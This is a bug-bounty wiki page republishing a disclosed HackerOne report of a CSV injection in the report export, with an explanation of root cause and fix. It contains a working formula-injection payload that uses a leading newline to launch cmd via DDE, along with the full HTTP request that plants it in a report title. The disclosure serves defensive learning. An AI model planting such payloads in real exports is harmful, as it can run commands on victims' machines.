Skip to content
RCE Disclosed report Intermediate

CSV Injection via the CSV export feature

A CSV export feature did not neutralise a newline character placed before a spreadsheet formula in a report title, so the formula still became active when the exported file was opened. An attacker could get a victim who exports and opens the CSV to have a formula executed by their spreadsheet application.

Mahmoud Gamal Follow

Originally disclosed on HackerOne

  • Triaged in 5 days
  • Fixed in 24 days
  • Paid in 31 days
  • Disclosed after 31 days

Hi , I have managed to bypass your fix for #72785 by submitting a report with NewLine character (0x0a) in the title before the CSV formula. #Steps to reproduce:

  1. As a researcher , Submit a report to a program with the title %0A-2+3+cmd|' /C calc'!D2 , here is an example request:
POST https://hackerone.com/security/reports/ HTTP/1.1
accept: application/json, text/javascript, */*; q=0.01
accept-encoding: gzip, deflate
accept-language: ar,en-US;q=0.8,en;q=0.6
content-length: 165
content-type: application/x-www-form-urlencoded; charset=UTF-8
cookie: <Your_session_cookies>
origin: https://hackerone.com
referer: https://hackerone.com/
user-agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
x-csrf-token: <your_token>
x-requested-with: XMLHttpRequest
Host: hackerone.com

report%5Btitle%5D=%0A-2%2B3%2Bcmd%7C'+%2FC+calc'!D2&report%5Bvulnerability_information%5D=test&report%5Bvulnerability_type_ids%5D%5B%5D=85553&report%5Bforce%5D=false
  1. As a response team, Go to Reports page then export the report as CSV.
  2. open the CSV file and you'll see that the cell is active.

Thanks

The original report as published on HackerOne, by zombiehelp54. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the export sanitisation only checked the start of the cell value and did not account for a leading newline character before the formula.

What the attacker needed

Ability to submit a report title; victim exports reports as CSV; victim opens the CSV in a spreadsheet

The fix

The export should neutralise leading newline and formula-trigger characters in cells.

How it was found

  1. Submit a report whose title contains a newline character followed by a spreadsheet formula.
  2. As the response team, open the Reports page and export the reports as CSV.
  3. Open the exported CSV file and observe that the cell is active.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website lets you download data as a CSV file, spreadsheet programs like Excel treat any cell starting with certain characters as a formula and run it. The site had tried to block this, but the researcher put a line-break character in front of the formula, which slipped past the filter. Opening the downloaded file could then make the spreadsheet run the attacker's formula.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Mahmoud Gamal

View all

32 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.